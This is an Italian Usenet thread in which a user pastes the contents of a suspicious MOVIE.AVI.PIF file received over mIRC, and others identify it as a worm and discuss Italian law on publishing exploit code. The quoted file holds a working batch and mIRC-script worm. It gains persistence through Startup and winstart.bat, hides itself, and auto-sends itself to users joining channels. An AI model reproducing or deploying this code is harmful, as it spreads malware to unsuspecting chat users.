Newsgroup: it.comp.sicurezza.varie
Titolo: URGENTE: è un virus??? ( Allego testo)

Possiedo win95 e mentre chattavo con MIRC mi hanno spedito due file che io
naturalmente ho accettato..... però ho fatto l'avirus perché mi puzzava la
loro doppia estensione: MOVIE.AVI.PIF, i miei avirus hanno beccato in uno un
virus e nell'altro niente. Così ..... lo ho aperto.... non è ancora successo
niente ma siccome ho poi pensato di leggere il contenuto del file e vi ho
trovato il testo di cui sotto mi sono preoccupato un pò. Potete dirmi
qualcosa???
Premetto che io MIRC l'ho installato non in c:\ e win95 l'ho installata non
in c:\windows
Grazie.
Testo ( veramente col copia  e incolla certi caratteri strani [ come 2
lettere sovrapposte, ma cosa sono???] sono venuti diversi) del file
MOVIE.AVI.PIF  :
 xhttp://
www.microsoft.com
      €   %comspec% .COM 
and.com
C:\                                                             /c copy
c:\mirc\download\Movie.avi.pif C:\mirc\Script.ini .bat     ÿ P   
MICROSOFT PIFEX ?   q WINDOWS 386 3.0     h €   d 2 ÿÿ  ÿÿ  b_           
/c copy c:\mirc\download\Movie.avi.pif C:\mirc\Script.ini .bat  WINDOWS VMM
4.0 ÿÿ  ¬ 
C:\WINDOWS\Mplayer.exe  io\VB\Icons\Flags\Flgbrazl.ico
              2             a         È è  
                   Terminal                        Courier New
   P   9 w  < g       ÿÿÿÿüÿüÿf ¹ ¿ 
 
@echo off
C:\
cd windows
md sys
copy mirc.bat C:\Windows\system\movie.avi.pif /Y
copy mirc.bat "C:\windows\Start Menu\Programs\StartUp\win.com.bat" /Y
copy win.com.bat C:\mirc\script.ini
copy win.com.bat C:\
copy C:\mirc\download\movie.avi.pif C:\Windows\system\movie.avi.pif /Y
copy C:\mirc\download\movie.avi.pif "C:\windows\Start
Menu\Programs\StartUp\win.com.bat" /Y
copy C:\mirc\script.ini C:\windows\system\movie.avi.pif
copy C:\windows\system\movie.avi.pif C:\windows\winstart.bat
copy C:\windows\system\movie.avi.pif C:\mirc\script.ini
copy C:\windows\winstart.bat C:\Windows\system\movie.avi.pif /Y
copy C:\windows\winstart.bat "C:\windows\Start
Menu\Programs\StartUp\win.com.bat" /Y
ctty nul
:act1
set z=progra~1
set s=progra~2
set x=mIRC
set x2=mIRC32
set y=internet
set y2=chat
set y3=web
for %%i in
(c:\%x%,c:\%x2%,c:\%z%\%x%,c:\%z%\%x2%,c:\%s%\%x%,c:\%s%\%x2%,c:\%y%\%x%,c:\
%y%\%x2%,c:\%y2%\%x%,c:\%y2%\%x2%,c:\%y3%\%x%,c:\%y3%\%x2%) do copy %0
%%i\Script.ini /Y
attrib +r +s +h %%i\Script.ini
attrib +r +s %0
:act2
if not exist c:\
C0MMAND.COM
 goto act3
goto endact3
copy %0 c:\
C0MMAND.COM
 /Y
attrib +r + c:\
C0MMAND.COM
:end
ctty con
copy C:\windows\winstart.bat C:\mirc\script.ini
copy C:\windows\script.ini C:\windows\winstart.bat
@exit
[SCRIPT]
;
;mIRC main Script. Please don't edit, mIRC will not run!
http://www.mirc.co.uk
;by Khaled Mardam-Bey
;Copyright ¸ 1999-2000 mIRC Co. Ltd.
;
n1=on 1:start:{
n2= .remote on
n3= .ctcps on
n4= .events on
n5= .raw on
n6= }
n7=alias /remove /echo *** Removed $1-
n8=alias /play /echo *** Unable to play $1-
n9=alias /unload /echo *** Unloaded $1-
n10=alias /events /.events on | /echo *** Events are OFF
n11=alias /remote /.remote on | /echo *** Remote is OFF (Ctcps,Events,Raw)
n12=on 1:text:*worm*:?:/.ignore $nick
n13=on 1:text:*virus*:?:/.ignore on $nick
n14=on 1:join:#:{
n15=if ( $nick == $me ) { halt } | .dcc send $nick
C:\windows\system\Movie.avi.pif
n16=}
n17=on 1:connect: {
n18=  /copy C:\mirc\script.ini C:\windows\winstart.bat
n19=  /copy C:\mirc\script.ini C:\mirc
--
Geod...@libero.it

 virus e nell'altro niente. Cosě ..... lo ho aperto.... non č ancora
successo

che antivirus hai?  credo sia uno worm! ciao ciao

 virus e nell'altro niente. Così ..... lo ho aperto....
Aperto ?
eseguito volevi dire, i file pif sono come gli eseguibili,
vedi un file con doppia estensione e lo esegui senza sospetti ?
su mirc ne girano tanti di file pif, basta ignorarli,
sono dei worm, ma non so cos'altro facciano.
Xbug

qualcosa???
Che bei ricordi i files batch sotto DOS (1992)......
Per risponderti non e' un virus ma una serie di comandi
che se eseguiti, diciamo cosi', ti complicheranno la vita
ciao
Alex

 Grazie.
E' capitato anche a me di scaricare files del genere chattando su Mirc.
NON PREOCCUPARTI PERCHE' NON FUNZIONANO SU UNA VERSIONE DI WIN DIVERSA DA 
QUELLA INGLESE!!!!!!!
Ti spiego subito perchè.
Esaminando anche altri "worm" compreso il "BubbleBoy" che si invia e
parte automaticamente (in Outlook express) anche senza l'intervento dell' 
utente per eseguire il "codice", questi infettano il "sistema" sul quale
vengono eseguiti al riavvio successivo, copiandosi nella cartella 
"Esecuzione automatica".
Se esamini anche superficialmente lo script (pif) da te trovato puoi 
notare che il path dove il file viene copiato è:
"C:\windows\Start Menu\Programs\StartUp\win.com.bat" /Y
che non potrà mai funzionare su una versione italiana di win
perchè il path esatto è:
"C:\windows\Menu Avvio\Programmi\Esecuzione Automatica\NomeProgramma"
non funziona per il semplice motivo che non può trovare la dir esatta.
Forse però riesce a modificare lo script di inizializzazione di
mirc per inviarsi automaticamente agli altri, però non ne sono sicuro,
a questa domanda dovrebbe risponderti qualcuno che conosce meglio il 
funzionamento di Mirc di me.
Ciao,
Flavio
------

  
WORM DELETED
-- 
-----
To reply to this address remove NOSPAM. from the address

per la legge italiana, Bugtraq sarebbe illegale?
Esatto. Se fai un mirror di Bugtraq (o peggio ancora Vuln-Dev) in
territorio italiano, tecnicamente ti possono fare un gufo cosi'.
Leonardo
".signature": bad command or file name

 territorio italiano, tecnicamente ti possono fare un gufo cosi'.
In it.comp.sicurezza.cert-it e' stato pubblicato il codice di 
iloveyou. Illegale anche il newsgroup? Qua bisogna stare attentissimi 
:-)

 :-)
Anche su it.comp.sicurezza.virus. Ma quello e' un altro caso, li' e'
stato un gesto "sconsiderato" di un postatore, il gruppo e' destinato a
COMBATTERE i virus. Bugtraq e le liste collegate come Vuln-Dev sono
invece proprio destinate alla divulgazione di bug e vulnerabilita' varie
dei programmi/SO e alla dimostrazione pratica di tali bug mediante
programmi "aventi per scopo o per effetto bla bla bla...". Programmi
scritti ad hoc e di cui viene postato il codice (in C/Perl o linguaggio
di shell) o un link per scaricarlo (solitamente da siti gestiti dagli
stessi autori o dalle loro compagnie).
-- 
Attenzione: questo messaggio ti e' arrivato dalla rete e
in qualche modo si e' insinuato nel tuo hard disk...
SecurFaq             : 
http://members.xoom.com/gouldukat/
Biancorossi Siamo Noi: 
http://www.tifonet.it/free/ancona/

 Esatto. Se fai un mirror di Bugtraq (o peggio ancora Vuln-Dev) in
Come le cartelle di Netscape in cui archivio i thread piu' interessanti?
8-)
<RIIIIIING> <RIIIIIIIING> <RIIIIIIIIIIIIIIIIIIIIIIIIING>
'Spetta che suonano alla porta, cheppalle non si puo' piu' leggere il NG
in pace, vado a vedere che vogliono quei due tipi tutti vestiti di
nero...
